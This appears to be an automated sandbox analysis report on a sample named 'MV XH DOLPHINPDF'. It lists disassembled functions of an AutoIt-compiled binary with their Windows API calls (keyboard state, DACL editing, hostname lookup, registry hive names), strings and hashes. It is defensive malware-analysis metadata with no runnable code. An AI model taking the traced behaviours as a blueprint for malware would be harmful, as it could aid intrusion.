Opcode ID: d3f16415b196c6e506993a9a03d5368a34aef1ab08059458968b6cf6610098b5
Instruction ID: 763685ccd8e143e90aa62776a681a0126a3051ef9da07c37561ada3507bbb08d
Opcode Fuzzy Hash: d3f16415b196c6e506993a9a03d5368a34aef1ab08059458968b6cf6610098b5
Instruction Fuzzy Hash: 9131C5B6600249ABDB20DFA1DC49FEB77BCEF89701F1041BAF508D6550E7B097858B25

Function 000EDB04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 000EDC7B
_wcscat.LIBCMT ref: 000EDC93
_wcscat.LIBCMT ref: 000EDCA5
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 000EDCBA
SetCurrentDirectoryW.KERNEL32(?), ref: 000EDCCE
GetFileAttributesW.KERNEL32(?), ref: 000EDCE6
SetFileAttributesW.KERNEL32(?,00000000), ref: 000EDD00
SetCurrentDirectoryW.KERNEL32(?), ref: 000EDD12

Strings

*.*, xrefs: 000EDD51

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 6fa0b2f1923f7eb90c614036ee0547af356cc272b66de840e0970a51c6f19a66
Instruction ID: 7d4ec4767cdca8496b102e439cb867e1f2689098f369adb19365eb95bffe93f1
Opcode Fuzzy Hash: 6fa0b2f1923f7eb90c614036ee0547af356cc272b66de840e0970a51c6f19a66
Instruction Fuzzy Hash: 0581B171608281DFCB64EF25C8859AEB7E8FB88350F18882FF885E7251E770D945CB52

Function 0010C49C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0010C4EC
GetFocus.USER32 ref: 0010C4FC
GetDlgCtrlID.USER32(00000000), ref: 0010C507
_memset.LIBCMT ref: 0010C632
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0010C65D
GetMenuItemCount.USER32(?), ref: 0010C67D
GetMenuItemID.USER32(?,00000000), ref: 0010C690
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0010C6C4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0010C70C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0010C744
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0010C779

Strings

0, xrefs: 0010C62A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 8ede30fec3e8f042274a41ed87cc93eecd028ead29a1a4c38afc07f7f8f7f4ce
Instruction ID: 4fadbdd51c48d1acd15c2f904f7b9dd95cf4d8bffc7ea830f21d249e402dc42b
Opcode Fuzzy Hash: 8ede30fec3e8f042274a41ed87cc93eecd028ead29a1a4c38afc07f7f8f7f4ce
Instruction Fuzzy Hash: 24819D742083019FD720DF14C985AABBBE8FB89314F00462DF9D5932A1D7B1D945CFA2

Function 000D83F4 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000D874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 000D8766
Part of subcall function 000D874A: GetLastError.KERNEL32(?,000D822A,?,?,?), ref: 000D8770
Part of subcall function 000D874A: GetProcessHeap.KERNEL32(00000008,?,?,000D822A,?,?,?), ref: 000D877F
Part of subcall function 000D874A: HeapAlloc.KERNEL32(00000000,?,000D822A,?,?,?), ref: 000D8786
Part of subcall function 000D874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 000D879D

Part of subcall function 000D87E7: GetProcessHeap.KERNEL32(00000008,000D8240,00000000,00000000,?,000D8240,?), ref: 000D87F3
Part of subcall function 000D87E7: HeapAlloc.KERNEL32(00000000,?,000D8240,?), ref: 000D87FA
Part of subcall function 000D87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,000D8240,?), ref: 000D880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 000D8458
_memset.LIBCMT ref: 000D846D
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 000D848C
GetLengthSid.ADVAPI32(?), ref: 000D849D
GetAce.ADVAPI32(?,00000000,?), ref: 000D84DA
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 000D84F6
GetLengthSid.ADVAPI32(?), ref: 000D8513
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 000D8522
HeapAlloc.KERNEL32(00000000), ref: 000D8529
GetLengthSid.ADVAPI32(?,00000008,?), ref: 000D854A
CopySid.ADVAPI32(00000000), ref: 000D8551
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 000D8582
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 000D85A8
SetUserObjectSecurity.USER32(?,00000004,?), ref: 000D85BC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 2d1e5cb53a82d39f463de05c21072b7a9b7a6be3fe76dde007675e186499c027
Instruction ID: 1f96ec4473ad7e95de2ec8165253f78c1f1b46a8307b43ba3ac5eef8a051cef9
Opcode Fuzzy Hash: 2d1e5cb53a82d39f463de05c21072b7a9b7a6be3fe76dde007675e186499c027
Instruction Fuzzy Hash: A161477190030AABDF10DFA5EC45AEEBBB9FF04310F14816AF815A7291DB71AA45CF60

Function 000F762D Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 000F76A2
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 000F76AE
CreateCompatibleDC.GDI32(?), ref: 000F76BA
SelectObject.GDI32(00000000,?), ref: 000F76C7
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 000F771B
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 000F7757
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 000F777B
SelectObject.GDI32(00000006,?), ref: 000F7783
DeleteObject.GDI32(?), ref: 000F778C
DeleteDC.GDI32(00000006), ref: 000F7793
ReleaseDC.USER32(00000000,?), ref: 000F779E

Strings

(, xrefs: 000F7723

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 5b65e21bfdf917a28b715f5d3e3e89e2328c2a5396f72402882b18bf0212a599
Instruction ID: 316ee16867bc5704f92977b894f2a9994370b475cc4bdc71b69b673473821cf2
Opcode Fuzzy Hash: 5b65e21bfdf917a28b715f5d3e3e89e2328c2a5396f72402882b18bf0212a599
Instruction Fuzzy Hash: 25515C75904309EFCB25CFA8CC85EAEBBB9EF48310F14842DFA8997611D771A841CB50

Function 000EA0B5 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,0010FB78), ref: 000EA0FC

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

LoadStringW.USER32(?,?,00000FFF,?), ref: 000EA11E
__swprintf.LIBCMT ref: 000EA177
__swprintf.LIBCMT ref: 000EA190
_wprintf.LIBCMT ref: 000EA246
_wprintf.LIBCMT ref: 000EA264

Strings

Error: , xrefs: 000EA20E
"%s" (%d) : ==> %s:%s%s, xrefs: 000EA241
^ ERROR, xrefs: 000EA1E8
Line %d (File "%s"):, xrefs: 000EA171, 000EA18A
"%s" (%d) : ==> %s:, xrefs: 000EA25F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 0185357f400380c4e049f2c6d5b195e0e8b100fbc2749d05eafe1e311a9ffed6
Instruction ID: f7a75c330b129eee024b5fe783fbb20f3371612d7d55dfe70c9c4c24b6554f3c
Opcode Fuzzy Hash: 0185357f400380c4e049f2c6d5b195e0e8b100fbc2749d05eafe1e311a9ffed6
Instruction Fuzzy Hash: D0515071904209AACF15FBE0CD86EEEB779BF19304F240165F505721A2DB71AF58CB61

Function 00086BEC Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 000A0B9B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00086C6C,?,00008000), ref: 000A0BB7

Part of subcall function 000848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,000848A1,?,?,000837C0,?), ref: 000848CE

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00086D0D
SetCurrentDirectoryW.KERNEL32(?), ref: 00086E5A

Part of subcall function 000859CD: _wcscpy.LIBCMT ref: 00085A05

Part of subcall function 000A387D: _iswctype.LIBCMT ref: 000A3885

Strings

AU3!, xrefs: 00086CC1
>>>AUTOIT SCRIPT<<<, xrefs: 000BE8BF
Bad directive syntax error, xrefs: 000BEBC6
Unterminated string, xrefs: 000BEC0D
#include depth exceeded. Make sure there are no recursive includes, xrefs: 000BE84A
Error opening the file, xrefs: 000BE866, 000BE8E1
EA06, xrefs: 000BE87B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: f0a3885908578f4a9ff763b728819f264e4d8a5f4e65ad798f754f9d69bcb4f2
Instruction ID: 285c22b79b19ca43f0cbd7e22f2c17977694d34e14cac73ebd805c5f027a057e
Opcode Fuzzy Hash: f0a3885908578f4a9ff763b728819f264e4d8a5f4e65ad798f754f9d69bcb4f2
Instruction Fuzzy Hash: AC0245311083819FC724EF24C891AEEBBE5BF99354F14492DF4CA972A2DB31D949CB52

Function 000845DF Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000845F9
GetMenuItemCount.USER32(00146890), ref: 000BD7CD
GetMenuItemCount.USER32(00146890), ref: 000BD87D
GetCursorPos.USER32(?), ref: 000BD8C1
SetForegroundWindow.USER32(00000000), ref: 000BD8CA
TrackPopupMenuEx.USER32(00146890,00000000,?,00000000,00000000,00000000), ref: 000BD8DD
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 000BD8E9

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 4d20cfdcce63dcee78d50af0a6a78d2ece3d803abc45c48cac4240d215e9ee5d
Instruction ID: 48aa468e580e711927ada8576186b1b253812d091b312e40f78824f4fad81fa9
Opcode Fuzzy Hash: 4d20cfdcce63dcee78d50af0a6a78d2ece3d803abc45c48cac4240d215e9ee5d
Instruction Fuzzy Hash: 7C71F370644216BEEB309F15DC49FEAFFA9FF05364F200216F514A61E1EBB15860DB91

Function 001010A5 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00100038,?,?), ref: 001010BC

Strings

HKEY_LOCAL_MACHINE, xrefs: 00101125
HKCC, xrefs: 0010118A
HKU, xrefs: 001011CE
HKEY_CURRENT_CONFIG, xrefs: 00101179
HKEY_CLASSES_ROOT, xrefs: 0010114F
HKEY_USERS, xrefs: 001011BD
HKCR, xrefs: 00101164
HKLM, xrefs: 0010113A
HKEY_CURRENT_USER, xrefs: 0010119B
HKCU, xrefs: 001011AC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: c51a19b83cba088674d3a2d7a6b6292985fe09250aea320ab0d5606ed22a3db1
Instruction ID: f01326cf3678994f2512a2907af98990980d74c5af7d203673df8873576c1807
Opcode Fuzzy Hash: c51a19b83cba088674d3a2d7a6b6292985fe09250aea320ab0d5606ed22a3db1
Instruction Fuzzy Hash: 8A416C7114424E9BCF14EFA0DDD1AEA3725BF26340F604454FDD16B292EBB4A91ACB60

Function 000E5569 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

Part of subcall function 00087A84: _memmove.LIBCMT ref: 00087B0D

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 000E55D2
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 000E55E8
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 000E55F9
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 000E560B
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 000E561C

Strings

open , xrefs: 000E5581
alias PlayMe, xrefs: 000E55AB
play PlayMe wait, xrefs: 000E5606
play PlayMe, xrefs: 000E5617
status PlayMe mode, xrefs: 000E55CD
close PlayMe, xrefs: 000E55E3, 000E5610

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 9262a4bdfc48394461bda28b6926669b87a2ecea13422e17a8d42e2c9833ebb5
Instruction ID: 58b5220072a5d15caf77dd1200ffa684d873846a72e167627a4a2e8141bf8fbf
Opcode Fuzzy Hash: 9262a4bdfc48394461bda28b6926669b87a2ecea13422e17a8d42e2c9833ebb5
Instruction Fuzzy Hash: 3711042095056979D720B662CC8ADFF7B7CFFD1F00F800429B488A30D2DFA04D05CAA2

Function 000E48F3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 000E490E
gethostname.WSOCK32(?,00000100), ref: 000E4928
gethostbyname.WSOCK32(?), ref: 000E4935
_wcscpy.LIBCMT ref: 000E495D
_memmove.LIBCMT ref: 000E4970
inet_ntoa.WSOCK32(?), ref: 000E497B
_strcat.LIBCMT ref: 000E4989
_wcscpy.LIBCMT ref: 000E49A0
WSACleanup.WSOCK32 ref: 000E49AE
_wcscpy.LIBCMT ref: 000E49BC

Strings

0.0.0.0, xrefs: 000E4957

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 3d65883ebc26c5267dca6c51b272e5b2cf3086b7b153eb8f828985e3e1771cd7
Instruction ID: 8e78f568a91146e327e9c51aeb8aa5e9651fd22efccfac11052952503c52c7a3
Opcode Fuzzy Hash: 3d65883ebc26c5267dca6c51b272e5b2cf3086b7b153eb8f828985e3e1771cd7
Instruction Fuzzy Hash: 3711D231904114AFCB30EB65AC4AEDB77ECEF41710F0441BAF484B6093EFB09AC29661

Function 000E5217 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 000E521C

Part of subcall function 000A0719: timeGetTime.WINMM(?,75A8B400,00090FF9), ref: 000A071D

Sleep.KERNEL32(0000000A), ref: 000E5248
EnumThreadWindows.USER32(?,Function_000651CA,00000000), ref: 000E526C
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 000E528E
SetActiveWindow.USER32 ref: 000E52AD
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 000E52BB
SendMessageW.USER32(00000010,00000000,00000000), ref: 000E52DA
Sleep.KERNEL32(000000FA), ref: 000E52E5
IsWindow.USER32 ref: 000E52F1
EndDialog.USER32(00000000), ref: 000E5302

Strings

BUTTON, xrefs: 000E5280

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: ebab133f22e1dc2352e92508560b7514c4cb4667e1035f55f3c77c1815d23655
Instruction ID: 10d8271865d65e2ce3ef7a4656262b3561464733e5899218b6089c51e8e9fe60
Opcode Fuzzy Hash: ebab133f22e1dc2352e92508560b7514c4cb4667e1035f55f3c77c1815d23655
Instruction Fuzzy Hash: C621A474104744AFE7105F71ED8AA2A3BA9EB4634BF10082CF141AADF1DBF19DC18762

Function 000ED7F8 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

CoInitialize.OLE32(00000000), ref: 000ED855
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 000ED8E8
SHGetDesktopFolder.SHELL32(?), ref: 000ED8FC
CoCreateInstance.OLE32(00112D7C,00000000,00000001,0013A89C,?), ref: 000ED948
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 000ED9B7
CoTaskMemFree.OLE32(?,?), ref: 000EDA0F
_memset.LIBCMT ref: 000EDA4C
SHBrowseForFolderW.SHELL32(?), ref: 000EDA88
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 000EDAAB
CoTaskMemFree.OLE32(00000000), ref: 000EDAB2
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 000EDAE9
CoUninitialize.OLE32(00000001,00000000), ref: 000EDAEB

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 8713dc3c2f5eef70737682a455ad8bb72f5cc4856d6491f34c10b04d6cd36f28
Instruction ID: 3b39ad08cd4f5cabf913906570a137506cbe951f3a10bdafc13baa132ea30e87
Opcode Fuzzy Hash: 8713dc3c2f5eef70737682a455ad8bb72f5cc4856d6491f34c10b04d6cd36f28
Instruction Fuzzy Hash: C3B12E75A00108AFCB14DFA5C889DAEBBF9FF48304B048469F849EB251DB30EE45CB51

Function 000E052C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 000E05A7
SetKeyboardState.USER32(?), ref: 000E0612
GetAsyncKeyState.USER32(000000A0), ref: 000E0632
GetKeyState.USER32(000000A0), ref: 000E0649
GetAsyncKeyState.USER32(000000A1), ref: 000E0678
GetKeyState.USER32(000000A1), ref: 000E0689
GetAsyncKeyState.USER32(00000011), ref: 000E06B5
GetKeyState.USER32(00000011), ref: 000E06C3
GetAsyncKeyState.USER32(00000012), ref: 000E06EC
GetKeyState.USER32(00000012), ref: 000E06FA
GetAsyncKeyState.USER32(0000005B), ref: 000E0723
GetKeyState.USER32(0000005B), ref: 000E0731

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: c3ed132467667f7dcd2e2c87225c08b4ec0085fc8bc6ceab07ae4e54200f78a7
Instruction ID: f9fc6e252f3a20ef28a6b544f8a0222b84267f521fd9234033e4d6ec95a27ac9
Opcode Fuzzy Hash: c3ed132467667f7dcd2e2c87225c08b4ec0085fc8bc6ceab07ae4e54200f78a7
Instruction Fuzzy Hash: 6C51E731A047C82DFB74DBA188557EABFF49F41380F08459E95C26A5C2DAE49ACCCB61

Function 000DC72A Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 000DC746
GetWindowRect.USER32(00000000,?), ref: 000DC758
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 000DC7B6
GetDlgItem.USER32(?,00000002), ref: 000DC7C1
GetWindowRect.USER32(00000000,?), ref: 000DC7D3
